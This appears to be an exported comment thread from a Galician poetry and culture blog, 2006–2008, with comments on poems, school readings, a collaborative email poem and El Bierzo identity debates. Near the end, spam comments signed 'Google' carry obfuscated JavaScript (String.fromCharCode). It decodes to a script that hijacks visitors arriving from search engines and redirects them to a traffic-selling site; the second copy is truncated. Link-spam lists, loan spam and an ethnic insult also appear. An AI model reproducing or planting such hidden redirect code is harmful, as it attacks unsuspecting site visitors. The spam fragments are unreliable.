Debo de ter pouco máis ou menos a mesma idade que ti, e coincidín contigo en Compostela como militante do nacionalismo xuvenil.
Eu estaba nos CAF de económicas e penso que ti no de Filoloxía.
Eu estaba na UMG e ti en INZAR. Cando deixaches INZAR para participar do proxecto de PRIMEIRA LINHA eu seguín na UMG.
Finalmente abandonei o nacionalismo organizado bastante escaldado mais esto é fariña doutra muiñada.
Eu estaba no Batallón Literario da Costa da Morte e ti estabas no Consello de Letras de Cal, e temos coincidido en recitais de poesía.
Non é que fósemos moi amigos, mais eu considéroche un coñecido que me trae recordos agradables daquela época compostelá.
Naquela época eu fora Responsable Comarcal de Galiza Nova de Muros-Noia e membro da dirección nacional.
Chámome Moncho Bouzas.
Daste conta?
Guau, é unha historia de novela, iso da edición rusa. Se aínda a conservades gardádea ben. Eu tamén teño asociado algún dos meus primeiros recordos musicais, con 7 ou 8 anos a un disco de Víctor Jara. Lembro estar escoitando obsesivamente nun vinilo prestado “Preguntas por Puerto Montt” e “A desalambrar". Pasaron moitos anos antes de que puidese volver escoitalas e entendelas.
----- COMMENT: AUTHOR: CHUS [Visitante] DATE: Tue, 03 Jun 2008 23:42:34 +0000 URL: http://visitanteMoi boa foi a tarde que pasamos grazas a Igor. A verdade é que había tempo que non gozaba tanto coa arte de empregar a nosa lingua dunha maneira tan orixinal.
Moitas grazas por tanta orixinalidade.
Repetiremos!!
Parabéns. Unha das mellores clases ás que tiven o placer de asistir.
Continuemos elaborando tarefas coa lingua, como fixemos esa tarde.
Grazas Lugrís.
Moi bota clase, a verdade é que pasamos unha tarde inesquecible, moi activa, chea de orixinalidade. Bravo por Igor, e moitas grazas por amosar que a lingua é unha materia que ás veces non está o suficientemente traballada.
A verdade é que foi unha tarde inesquecible.
De feito foi unha das clases máis activas, divertidas, movidas…en fin.. marabillosa!!
Animo a todos a que se teñen oportunidade, que gocen con este artista…
Moitas grazas.
Comenta Igor que había moito tempo que non o chamaban dunha escola, liceu ou similar para participar nun acto do Día das Letras. Pois permitídeme que diga que non saben o que perden. Animo dende aquí a calquera profesor ou similar, que non deixe de obsequiar ao seu alumnado cunha xuntanza con Igor e, por suposto, non ten por que esperar ao próximo vindeiro 17 de maio. Brindounos unha tarde, a do 23 de maio, na EOI de Ponferrada do máis amena, gratificante e instrutiva: divertímonos aprendendo e aprendemos divertíndonos. Igor ten moitas ideias: fai, di e crea cousas moi interesantes e, seguindo unha das liñas da súa filosofía ?TODO É DE TODOS? agasallounos ensinando e compartindo a súa creatividade poética, artística e ideolóxica. Vaian dende aquí os meus agradecementos e parabéns.
Marta
----- COMMENT: AUTHOR: Maria [Visitante] DATE: Mon, 19 May 2008 07:01:50 +0000 URL: http://centros.edu.xunta.es/iesollosgrandes/blogs/portugues/index.phpOs cartons tamém estám no liceu “Olhos Grandes” de Lugo e num dos blogues da escola, “Português Olhos Grandes”
Obrigada
Oquei, oquei… Prometido: para o próximo ano faremos algumha cousa com alguns mozotes ghuapos, ghuapos… :)
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Fri, 16 May 2008 01:21:22 +0000 URL: http://oportodosescravos.blogspot.comQuedaron moi chulos, teño un deles colado na parede. Aver se para outro ano facedes algún tamén cun mozote ghuapo, que nestes só saen mozas…
----- COMMENT: AUTHOR: l&m [Visitante] DATE: Tue, 13 May 2008 06:39:08 +0000 URL: http://oblodelm.blogspot.com/laura já colou o envio no frigo. brigada
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Mon, 12 May 2008 15:21:27 +0000 URL: http://otrasnoviaxeiro.comGraciñas. Tamén a Teo chegou a túa postal. Eu xa a lera no caderno de Sechu. O que pasa é que á libreira gustoulle tanto que me chamou para dicirme que se ia quedar ela coa postal para enmarcala e pola na tenda, e coas pegatas para lucilas no seu carro. Así que se algún día repites e fas máis envios pon á atención de hormiga, por fa. Saudos.
----- COMMENT: AUTHOR: Maria [Visitante] DATE: Thu, 08 May 2008 06:27:37 +0000 URL:Caro Igor,
Obrigada por partilhares tanta beleza, vitalidade, língua…
Também sou conhecida de tempo atrás.
Pois eu já a recibim :) obrigado!
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 07 May 2008 13:53:50 +0000 URL:Obrigado, O_Fartura polas tuas palavras.
A verdade é que nom consigo lembrar quem es.
Visitei o teu blog para intentar averiguá-lo, mas sigo igual.
Mas tanto tem. Um saúdo!
----- COMMENT: AUTHOR: O_Fartura [Visitante] DATE: Wed, 07 May 2008 13:29:39 +0000 URL: http://singraduradarelinga.blogspot.com/Creo que en Galiza faltan creadores que conciban a rede como unha ferramenta útil.
No caso concreto da literatura( que na rede se enriquece coa aportación doutros ámbitos artísticos) é especialmente rechamante o anquilosamento xeral.
A iniciativa que presentas neste sentido é estupenda.
Un saúdo, dun coñecido de hai tempo do que de seguro xa non te acordas.
Un saúdo e sorte.
Inquietador poema ;-) Lembra-me um pouco ao Suso de Toro em ‘Polaroid’ e aquele “xersee esesene” :D
----- COMMENT: AUTHOR: Concha Rousia [Visitante] DATE: Wed, 07 May 2008 10:56:49 +0000 URL: http://rousia.hi5.comCaro, obrigada por partilhares as tuas criações; é um prazer grande te ler…
uma alegria te ter como amigo; ambas cousas celebro!
Abraços com muita poesia e língua
Concha
----- COMMENT: AUTHOR: Concha Rousia [Visitante] DATE: Wed, 07 May 2008 10:31:55 +0000 URL: http://rousia.hi5.comCaro, obrigada por partilhares as tuas criações; é um prazer grande te ler…
uma alegria te ter como amigo; ambas cousas celebro!
Abraços com muita poesia e língua
Concha
----- COMMENT: AUTHOR: corral [Visitante] DATE: Tue, 06 May 2008 21:58:04 +0000 URL:És um grande poeta, sim senhor.
----- COMMENT: AUTHOR: reineta [Visitante] DATE: Wed, 16 Apr 2008 11:07:11 +0000 URL: http://www.achantada,blogspot.comasí que logo ti debes ser igor lugrís, non? mira que cando estabamos no bacharelato botamos tempo buscando cousas túas pero non dabas aparecido máis ca no libro ese que mentas. claro, dende aquela, choveu algo. encantada de saudarte!
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 28 Mar 2008 14:57:21 +0000 URL: http://www.otrasnoviaxeiro.comMoi bo, tanto o video como o poema.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Tue, 04 Mar 2008 16:54:54 +0000 URL: http://www.tangaranhovermelho.blogspot.comjá vejo que progrides no teu progressivo. Pois nada, nada: a seguir!!!
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 29 Feb 2008 20:41:33 +0000 URL: http://www.otrasnoviaxeiro.comQué chulada!
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Sun, 24 Feb 2008 13:30:52 +0000 URL: http://www.otrasnoviaxeiro.comGústame moito o teu poema e o de Estíbaliz.O que non me gusta nada é o captcha este da páxina, costame mogollón enviar os comentarios. uffff, levo xa cinco intentos…a ver se nunha destas acerto.
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 15 Feb 2008 23:18:11 +0000 URL: http://www.otrasnoviaxeiro.comQuedou moi ben. Mola.
----- COMMENT: AUTHOR: Paulo V [Visitante] DATE: Sat, 09 Feb 2008 02:30:18 +0000 URL:Carlos Couto Carvalheira comia carne correntemente com colegas corunheses. Coa cunhada Carminha Castro (conhecida cabareteira cedeiresa com categoria consagrada) comia cousas com certa categoria: colibri com cardos, cetáceos com cebolas, camaróns com cucurbitáceas… comia, comia comia… Como comia caramba! como cícico caótico, claro! Conseguiu comer caladinho cinco cousas carnosas: cabrito, codornizes, cenouras cilíndricas, cigalas, cogumelos…
----- COMMENT: AUTHOR: estibalilith [Visitante] DATE: Fri, 08 Feb 2008 11:36:19 +0000 URL: http://www.estibalizes.wordpress.comajá, amigo, ajá
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 01 Feb 2008 10:37:59 +0000 URL: http://www.tangaranhovermelho.blogspot.comRapaz, és um génio…
----- COMMENT: AUTHOR: Fabiano [Visitante] DATE: Tue, 04 Sep 2007 04:24:15 +0000 URL: http://www.agal-gz.orgEstá maravilhoso esse documentário e digo deveria ser espalhado pelos blogs brasileiros e portugueses para deixar conhecer a situação da língua galega (portuguesa) na Galiza.
----- COMMENT: AUTHOR: monica sardiña [Visitante] DATE: Sat, 28 Jul 2007 19:50:22 +0000 URL:letras nas pedras….
o soporte firme pra dulzura
non hai millor definición de poesía
Querido IGOR:
Uno no sabe cuando ocurrirá…pero cuando ocurre no cabe la menor duda.
Personas encantadoras , que con encanto atrapan……y así me dejé llevar , en Lombillo , encantada por todos vosotros………Repetiré.
Bicos dende Tenerife
Mónica
Contam que o ska vem de um defecto técnico: o sinal das emisoras norteamericanas chegava entrecurtado a Jamaica e aló faziam versons dos éxitos americanos do soul tal como sonavam nos seus aparelhos de rádio…
----- COMMENT: AUTHOR: Chende [Visitante] DATE: Tue, 03 Jul 2007 13:44:25 +0000 URL: http://www.myspace.com/irmandinhoEu também me chamo CHENDE!
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 29 Jun 2007 10:53:57 +0000 URL: http://www.tangaranhovermelho.blogspot.comPois nom vou estar, mas espero que os vossos bandulhos e os vossos cérebros fiquem bem agradecidos…
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 20 Jun 2007 17:05:39 +0000 URL: http://www.estibalizes.blogspot.comConque aquí estabas. Quero dicir, aí. Quero dicir, aquí.
Feliz viaxe a Torino e feliz performance de guiri. O que máis comprace de ser guiri e chamar guiris aos outros e apartalos a cobadazos. E queixarse dos xaponeses, que nunca deixan ver nada e van queimar Europa sutilmente a base de flashes.
O de alimentARTE pinta bárbaro.
E coidado coa xestación dese novo libro de poemas. Teño escoitado que ás veces dan patadas polas noites. Moita sorte.
[ o mellor daquel estrambótico encontro en Ponferrada, cheo de desatinos, desencontros e máis cousas que empezan por des-, como desastre, foi atoparnos contigo]
Faille aí un cariño a Xende da miña parte, e lembranzas para Noelia.
----- COMMENT: AUTHOR: oscar de lis [Visitante] DATE: Wed, 30 May 2007 16:42:13 +0000 URL: http://galizadebate.blogspot.com/Impressionante a rapaça coreana! Esse é o efeito do Voluntariado da Língua e dos grupos e associações que promovem o galego na rua, onde deve fazer-se, posto que a política lingüística deste país é abertamente hostil ao galego (e, se nom, veja-se o caso de Marisol Lopez e o Novas da Galiza). Grande trabalho.
----- COMMENT: AUTHOR: Oscar [Visitante] DATE: Tue, 29 May 2007 16:07:31 +0000 URL: http://http.//www.finisterra.blogger.com.brExcelente documentário, equilibrando-se entre duas visões, uma pessimista que vê a redução do galego à uma língua residual e outra diametralmente oposta, que projecta o galego para fora da Galiza. “Eu ainda não podo falar galego, mas como gosto de lê-lo e sobretudo ouvi-lo". O galega são os seus habitantes, homens e mulheres. Os do mercado, das escolas, das feiras, das ruas e os seus/suas poetas.
----- COMMENT: AUTHOR: Celso [Visitante] DATE: Mon, 21 May 2007 23:31:53 +0000 URL:Igor, no programa “Libro Aberto” da TVG
de hoje 21 de Maio falou-se um chisquinho
do teu cadáver esquisito. Saíam imagens
da página (eu estava a zapear, apanhei
uns segundos do final). O vídeo estará
disponível em WMV aqui:
http://www.crtvg.es/TVG/Videos.asp
Não sei se fazem reemissão do programa.
Castigam aos livres e ensalçam a barbarié. O nacional catolicismo segue na seiva do novo Régimem.
Corral
----- COMMENT: AUTHOR: asminhasmulleres [Visitante] DATE: Wed, 18 Apr 2007 18:21:36 +0000 URL: http://asminhasmulleres.wordpress.com/Era parte da miña intención.
Grazas pola referenza.
----- COMMENT: AUTHOR: miriño [Visitante] DATE: Tue, 03 Apr 2007 09:04:52 +0000 URL: http://curioso-impertinente.blogspot.comA min chegoume. Reenvieino. Mais non aparece por ningures. Supoño que haberá camiños que se corten. Os meus deberon cortarse todos.
Participei, aínda que non se vexa.
¿Cantos camiños inacabados se producirán?
Meu deus, que vertixe!
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 02 Apr 2007 21:26:44 +0000 URL: http://www.levantadordeminas.blogaliza.comBreve nota do evento n’O levantador de minas. Abraço.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 02 Apr 2007 20:59:20 +0000 URL: http://www.levantadordeminas.blogaliza.comParabéns por tamanho sucesso! É uma honra ter participado neste projecto. Ideias e factos deste teor é que contribuem para fazer cultura.
----- COMMENT: AUTHOR: Robert [Visitante] DATE: Mon, 02 Apr 2007 07:55:06 +0000 URL: http://www.begosantiago.blogspot.comOla! realmente un blog moi interesante.Gústame. Visitareivos con asiduidad.
Saúdos
Robert
----- COMMENT: AUTHOR: Xosé Manuel Meijome [Visitante] DATE: Sun, 01 Apr 2007 05:44:46 +0000 URL: http://kandpalleiro.blogspot.comMágoa; entereime pola impressa o Domingo, esqueciche indicar ata cando vai estar a obra exposta.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 30 Mar 2007 11:03:31 +0000 URL: http://www.tangaranhovermelho.blogspot.comhehehe…matar judeus…enfim, espero que o pessoal nom se meta demasiado no papel, nom vaia ser o demo…
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 26 Mar 2007 12:56:47 +0000 URL:Nom é inglês, oh!, é umha licença poética ; )
----- COMMENT: AUTHOR: Mais um galego [Visitante] DATE: Mon, 26 Mar 2007 09:29:58 +0000 URL:Mas as “bases” do cadáver só permitiam o uso do Português e aqui usa-se o Inglês. Uih uih uih :-)
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Fri, 23 Mar 2007 16:24:04 +0000 URL: http://www.levantadordeminas.blogaliza.comPublicamos nota divulgativa de projecto cadavérico n’O levantador de minas (http://olevantadordeminas.blogaliza.org/). Abraço .
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Fri, 23 Mar 2007 15:29:57 +0000 URL: http://www.levantadordeminas.blogaliza.comParabéns pola iniciativa: poesía e liberdade em comunidade. Bravo!
----- COMMENT: AUTHOR: Nocturno [Visitante] DATE: Thu, 15 Mar 2007 10:14:57 +0000 URL: http://www.nanoitenosilencio.blogspot.comCoincido plenamente na necesidade da
autoedición no actual mundo da cultura…
Parabéns pola iniciativa…
parabéns polo livro das confussons. adóroo.
saudiños!!!
Veño a achegar agora a miña contribución ó cadáver exquisito. Penso que é unha interesante iniciativa. A ver se conseguimos publicitala máis entre a comunidade blogueira.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 09 Mar 2007 07:26:02 +0000 URL:Nom som Eugénio, som Igor. Mas podes ver mais informaçom sobre o Cadáver dous posts mais abaixo.
----- COMMENT: AUTHOR: gomes [Membro] DATE: Fri, 09 Mar 2007 04:40:14 +0000 URL:Explica-me isso, Eugénio. Isso do cadáver.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Tue, 06 Mar 2007 10:10:20 +0000 URL: http://www.tangaranhovermelho.blogspot.comAlgum sai citado várias vezes…hehehe…foi um experimento divertido e interessante, mas a mim chegou-me ontem um correio do Celso Álvarez-Cáccamo dizendo que por favor nom lhe enviaramos mais cadáveres. Parece que a algum lhe estamos a saturar a conta…
----- COMMENT: AUTHOR: punx [Visitante] DATE: Mon, 05 Mar 2007 13:04:31 +0000 URL:Óspero!
Xa comezan a escolmarnos as autoridades!!!
Já sabes tu bem, caro Taliesim, perdon, Taliesin, que é bem fácil demostrar que o Bierzo nom é Leom, sem necessidade de acudir, por suposto, ao insulto, nem à palavra soez. O que fica por demonstrar, por parte dos leonesistas, é que sem necessidade de botar mao da mentira, do insulto, da tergiversaçom e da xenofóbia antigalega, se poda demostrar que o Bierzo é Leom.
Saúdos.
Filipa: admite-se participaçom portuguesa e do mundo inteiro, sempre e quando as colaboraçons venham em galego-português. Polo demais, o cadáver nom é meu, e de todos, de todas, e de ninguém. Todo o mundo pode apropriar-se dele, ninguém pode posui-lo.
Avante!
nom sei se gosto da ideia… mas aderim…
afinal espero tenha sucesso…
mas nom sei… tenho dúvidas.
artur
Boa iniciativa.
Recibín unha versión, sumeime á iniciativa e chuzeina. Agardo con ansiedade ver como crece esta obra.
----- COMMENT: AUTHOR: Taliesin [Visitante] DATE: Thu, 01 Mar 2007 17:48:39 +0000 URL:Vaya por delante que opino que la Cruz de Peñalba debe estar lo más próxima posible a su contexto histórico, siempre y cuando pueda salvaguardarse. Si puede estar en Peñalba de Santiago, lo ideal; si puede estar en el Museo del Bierzo, muy bien y si es en el Museo de León, también bien, pero por este orden.
Lo que no puedo compartir son algunas de las razones expuestas. La Cruz de Peñalba fue donada por Ramiro II a la Iglesia de Peñalba por lo que entiendo que su legítimo propietario es el Obispado de Astorga. Uno de sus obispos lo donó al Museo de León. Lo siento pero no veo por ninguna parte ningún expolio, desaparición o demás. Es decir, que me da pena que la forma de una reivindicación legítima sea el fomento del odio.
La Cruz de Peñalba por ser parte del patrimonio berciano, también lo es del leonés. A no ser que alguien me demuestre, sin necesidad de acudir al insulto, que el Bierzo y León son cosas distintas.
Un saludín desde Santo Tomás
unha idea mui bonita igor, no meu correo xa hai catro versións distintas do cadaver;) o animal medra rápido e grande!
un bico
Onte, cara esta mesma hora, mais ou menos (as 8′00 AM), lançamos os primeiros correios do Cadáver na Rede, e colamos neste blog o texto.
Hoje, tenho notícia de, quando menos, 9 linhas vivas deste cadáver, no que já tenhem participado, segum as informaçons que me foram chegando, 15 pessoas (algumhas delas, já aportaram mais dum verso, pois as linhas começam a se mesclar entre os correios dos e das participantes).
Com esta vitalidade, o cadáver será, além de esquisito, longo e feliz.
Avante toda!
Parabéns pola prática da ideia, Igor. Outros também temos pensado nessa ideia mas não tivemos a coragem de a levar para a frente.;-)
Já recebi e já reenviei a muitos contactos.
Muita poesia!
----- COMMENT: AUTHOR: eugeniote [Visitante] DATE: Wed, 28 Feb 2007 11:14:48 +0000 URL: http://extramuros.agal-gz.org/Adorei a ideia. Já recebi e já reenviei. Mas advirto-te que tu és um dos destinatários. Como uma mesma pessoa pode participar várias vezes… ;-).
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Tue, 27 Feb 2007 18:13:58 +0000 URL: http://www.tangaranhovermelho.blogspot.comJá está arranjado o do link! Ainda bem!
Pois sim, é muito fácil utilizar a entidade própria e singular do Bérzio quando se trata de valer-se dela como contrapeso às reivindicaçons territoriais da naçom galega, mas depois quando o próprio Bérzio reclama os seus direitos…tratam-no como se for umha colónia!!!
----- COMMENT: AUTHOR: Isabel [Visitante] DATE: Tue, 27 Feb 2007 09:03:59 +0000 URL:Delicioso.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Jan 2007 09:36:21 +0000 URL:Escreve-me o Ramiro (www.tangaranhovermelho.blogspot.com)um correio, a conta deste comentário e estes vídeos, e di-me:
“hehehe…eu estivem aló. Porque o meu pai trabalhava em ASTANO, e de facto, mercé a aquela reconversom naval perdeu o emprego. Todo um espectáculo ver a Xosé Manuel Pereiro chamando “moros de mierda” aos seus hoje praticamente correligionários, passadíssimo, por certo, de algum tipo de substáncia sico-trópica. Dos despojos de Terminal Norte surgiu o sub-produto horteril Limones del Caribe.
Ciao, ciao…”
Pois também há um video dos Limones no youtube: http://youtube.com/watch?v=RXH8C8Tvox8 O seu grande “sucesso” Ferrol. Em duas palavras Spes Tacular
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Jan 2007 09:23:26 +0000 URL:Nom tenho dúvida, Davidú, de que a mudança nom só fai parte da existência humana, mas é mesmo intrínseca ao ser humano. Há 22 anos o país nom era o mesmo, e ninguém de nós era practicamente o mesmo que o que è agora. O destacável destes vídeos nom é constatar o passo do tempo, mas constatar o(s) cámbio(s) políticos e intelectuais de algumhas pessoas. Porque, até onde a mim se me alcanza, por exemplo, a USC segue a ser tam podre como há 22 anos, só que Beiras já nom denuncia isso (e a moreia de catedráticos e profesores vinculados ao Bloco também nom, claro). Este comentário pode-se ler acompanhado do anterior, o referido aos ex-esquerdistas.Saúde!
----- COMMENT: AUTHOR: Dúbida [Visitante] DATE: Wed, 24 Jan 2007 08:45:53 +0000 URL:E que… vinte anos pasan para todo o mundo. Non cres que a mudanza forma para da existencia humana? Tampouco o país era o mesmo…
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:32:32 +0000 URL:EU TAMEN CHAMOME XENDE. DESDE MADRID
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:30:47 +0000 URL:yo tambien me llamo xende.desde MADRID
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:28:50 +0000 URL:yo tambien veo que no soy el unico xende,somos mas
----- COMMENT: AUTHOR: freira [Visitante] DATE: Fri, 05 Jan 2007 22:33:11 +0000 URL:poderias acrescentar o teu formoso e sábio cometári, nom todos estamos no alho dos caminhos que alguns percorrem
----- COMMENT: AUTHOR: aclaração [Visitante] DATE: Wed, 29 Nov 2006 11:59:49 +0000 URL:home… no resto não, mas tem razão em pega e pardal ser palavras asturo-leonesas (não sei se no de “não usadas no resto da Espanha ;)), o qual não quita que sejam também galegas:
pega, la 1.
Pica pica, urraca [Llg, Mo (LLAA 27). Ri. Cn (F). Noval]. Urraca [Lln. Rs. Cl. Os. Pa. Cb. Xx. Cp. Cñ. Ac. Bi. Llv. Sb. Ca (Metáfora). Ay. Ar (= pigarcia = pegaratu). Sd. Qu. Sm. Md. As. Cn (MG). An. Gr. Pr. Mn. Sl. Vd. Tox. /Eo. Mánt/. R. Tor. Mar. VCid]. Pica caudata, urraca [Oc]. 2. Molino de papel de los niños [Cb]. Instrumento de madera y de lata que se fija a un árbol y que gira con el viento haciendo ruido que espanta a los pájaros de los sembrados [Cb].
pardal, el.
(pardial [AGO]. pardeal [ByM].)
1. Carduelis cannabina [Llg (LLAA 27)]. Passer domesticus [Llg (LLAA 27)]. Pájaro gris verdáceo [Tb]. Pájaro de colores grises y averdosados [Qu]. Clase de pájaro [Pzu]. Gorrión [Ca. R. Tor. Mar. VCid]. Pájaro parecido al verderón, de color gris pardusco [Tox]. Pájaro grisáceo [Arm]. 2. {Individuo} astuto, que no es de fiar [Ca], taimado, ladino [ByM]. Persona poco recomendable [Ca. /Eo/]: ¡Vaya pardal qu?estás fechu! [Ca]. {Personaje} bellaco, tunante [AGO].
[do Diccionario General de la Lengua Asturiana (http://mas.lne.es/diccionario/)]
A mim pessoalmente o que me encanta, é o de que o leonês usa o artigo “a". Este homem sim que vai revolucionar a linguística! :D
----- COMMENT: AUTHOR: Gaabriela [Visitante] DATE: Wed, 29 Nov 2006 01:38:20 +0000 URL:Um texto esclarecedor, sotaque visual, muito bom!
----- COMMENT: AUTHOR: ch3chu [Visitante] DATE: Tue, 28 Nov 2006 22:40:35 +0000 URL: http://www.ebierzo.comPodrías colocar una buena imagen del mapa por aquí. Para verlo con detenimiento.
----- COMMENT: AUTHOR: auto insurance [Visitante] DATE: Wed, 22 Nov 2006 07:13:15 +0000 URL: ----- COMMENT: AUTHOR: mortgage rates [Visitante] DATE: Wed, 22 Nov 2006 05:52:52 +0000 URL: ----- COMMENT: AUTHOR: mortgage loans [Visitante] DATE: Wed, 22 Nov 2006 04:03:57 +0000 URL: ----- COMMENT: AUTHOR: mortgage refinance [Visitante] DATE: Wed, 22 Nov 2006 03:42:38 +0000 URL: ----- COMMENT: AUTHOR: ordinand Hamburg [Visitante] DATE: Tue, 21 Nov 2006 14:29:49 +0000 URL: http://www.hotelscare.info/virulent_Germany/heliochromy_Hamburg/ordinand_Hamburg_1.htmlOnte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.hotelscare.info/virulent_Germany/heliochromy_Hamburg/ordinand_Hamburg_1.html
Onte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.minimotel.info/irreconcilable_Spain/irreconcilable_Andaluc%C3%ADa/irreconcilable_Cordoba_1.html
Onte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.hotel-malta.ws/malta89_en/United_States/Kentucky/Louisville-hotels.html
Good job!.
----- COMMENT: AUTHOR: Doe [Visitante] DATE: Sat, 11 Nov 2006 05:24:19 +0000 URL: http://geocities.com/apnGoCdosG4Thanks for your site!:
----- COMMENT: AUTHOR: titan tankless waterheater [Visitante] DATE: Wed, 08 Nov 2006 19:47:02 +0000 URL: http://titan-tankless-waterheater.blogspot.comThank you for your site. I have found here much useful information!Very cool design!Added to favorites!! My site: http://titan-tankless-waterheater.blogspot.com
----- COMMENT: AUTHOR: Google [Visitante] DATE: Fri, 03 Nov 2006 14:37:36 +0000 URL: http://google.com/hello, i like your site!
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,33,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,97,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40,34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47,116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,115,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,105,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));
* http://junge.lunapix.org * http://taxi.vreese.org * http://frankfurt.peuken.org * http://habitacion.intrall.org * http://fussball.vossmi.org * http://hotel.blumke.org * http://fare.adjee.org * http://kleiderschrank.zimmie.org * http://marktforschung.stompie.org * http://anti.cafepad.org * http://aprender.looin.org * http://kredit.walpot.org * http://m.balmf.org * http://bilbao.debey.org * http://research.asoli.org
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Sat, 28 Oct 2006 12:30:50 +0000 URL: http://WWW.IUB.ESAUTONOMIA PRA O BIERZO.
A o consello Comarcal do Bierzo lle diron de presuposto 5000 euros,PUTOS CASTELLANOSLEONESES.
AUTONOMIA XA.
Bem…estou ao dispor de Fala Ceive. Que queres que faga?
Corral
----- COMMENT: AUTHOR: Google [Visitante] DATE: Mon, 23 Oct 2006 12:10:41 +0000 URL: http://google.com/hello, i like your site!
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,33,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,97,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40,34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47,116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,